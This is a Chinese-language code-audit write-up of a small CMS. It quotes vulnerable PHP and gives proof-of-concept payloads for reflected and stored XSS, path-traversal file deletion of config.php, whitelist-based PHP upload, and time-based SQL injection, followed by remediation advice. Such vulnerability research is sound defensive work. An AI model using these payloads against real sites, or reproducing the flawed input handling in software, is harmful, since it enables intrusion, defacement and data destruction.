平平无奇的代码审计
字数 814 2025-08-05 08:17:55
代码审计实战:某CMS漏洞分析与利用
一、前言
本文对某小众CMS进行了全面的代码审计,发现了多个安全漏洞,包括反射型XSS、存储型XSS、任意文件删除、任意文件上传和SQL注入等。这些漏洞的发现过程和分析方法对于安全研究人员具有很好的参考价值。
二、反射型XSS漏洞分析
漏洞原理
当请求的文件不存在时,系统会将错误信息直接输出到页面,未进行任何过滤处理,导致反射型XSS漏洞。
漏洞触发流程
- URL路由处理:
$t = @$_GET['t'] ? $_GET['t'] : "sys";
$n = @$_GET['n'] ? $_GET['n'] : "index";
$c = @$_GET['c'] ? $_GET['c'] : "index";
$a = @$_GET['a'] ? $_GET['a'] : "index";
define("L_TYPE", $t);
define("L_NAME", $n);
define("L_CLASS", $c);
define("L_MODULE", "admin");
define("L_ACTION", "do{$a}");
require_once '../core/route.php';
- 文件不存在时调用
LCMS::X()函数输出错误信息:
// \core\class\lcms.class.php
function X($msg, $url = "", $time = 3) {
// 直接输出错误信息,未做过滤
$this->template($msg, $url, $time);
}
漏洞利用
构造恶意URL,在参数中插入XSS payload:
http://target.com/?t=<script>alert(1)</script>
三、存储型XSS漏洞分析
漏洞原理
系统获取客户端IP的方式存在缺陷,攻击者可伪造IP地址,而管理员查看用户信息时会触发存储的XSS。
关键代码
- IP获取函数:
// \core\class\lcms.class.php
function IP() {
// 从多个HTTP头获取IP,可被伪造
if (getenv('HTTP_CLIENT_IP')) {
$ip = getenv('HTTP_CLIENT_IP');
} elseif (getenv('HTTP_X_FORWARDED_FOR')) {
$ip = getenv('HTTP_X_FORWARDED_FOR');
} elseif (getenv('REMOTE_ADDR')) {
$ip = getenv('REMOTE_ADDR');
} else {
$ip = $_SERVER['REMOTE_ADDR'];
}
return $ip;
}
- 登录时记录IP:
// \app\sys\login\admin\index.class.php
$data = [
'logintime' => time(),
'loginip' => CLIENT_IP // 使用伪造的IP
];
漏洞利用步骤
- 注册低权限账号
- 登录时伪造HTTP头:
X-Forwarded-For: <script>alert(1)</script>
- 管理员查看用户列表时触发XSS
四、任意文件删除漏洞
漏洞原理
删除备份文件时,过滤不严导致可删除任意文件。
关键代码
// \app\sys\backup\admin\database.class.php
case 'del':
$file = PATH_WEB . "backup/data/{$_L['form']['name']}";
if (is_file($file)) {
delfile($file);
ajaxout(1, "删除成功");
}
break;
// \core\function\file.func.php
function path_absolute($path) {
$path = PATH_WEB . str_replace(["../", "./", PATH_WEB], "", $path);
// Windows下可使用..\绕过
return $path;
}
漏洞利用
在Windows系统下使用..\绕过过滤,删除系统文件:
POST /backup/admin/database?a=del
name=..\..\config.php
五、任意文件上传漏洞
漏洞原理
- 可自定义上传文件白名单
- 上传时仅检查文件后缀是否在白名单中
关键代码
- 设置白名单:
// \app\sys\config\admin\admin.class.php
function dosafe() {
// 将用户输入直接存入全局变量
$_L['safe']['upload'] = $_L['form']['upload'];
}
- 上传验证:
// \core\class\upload.class.php
function check() {
// 仅检查后缀是否在白名单中
return in_array($this->ext, $_L['safe']['upload']);
}
漏洞利用步骤
- 在"设置中心->安全性能->格式白名单"中添加php
- 在"设置中心->后台设置->后台LOGO"上传PHP文件
六、SQL注入漏洞
漏洞原理
用户输入未过滤直接拼接到SQL语句中。
关键代码
// \app\sys\user\admin\admin.class.php
function doiframe() {
// 直接使用全局变量$_L,未过滤
$name = $_L['form']['name'];
$sql = "SELECT * FROM user WHERE name='$name'";
// 执行SQL
}
漏洞利用
Payload:
admin1'and(select*from(select+sleep(1))a)='
七、总结
该CMS存在多处严重安全漏洞,主要问题包括:
- 未对用户输入进行有效过滤
- 使用不安全的IP获取方式
- 文件操作过滤不严
- 上传验证机制缺陷
- SQL语句拼接用户输入
修复建议:
- 对所有用户输入进行严格过滤
- 使用预编译语句处理数据库查询
- 加强文件操作的安全检查
- 限制上传文件类型
- 使用安全的IP获取方式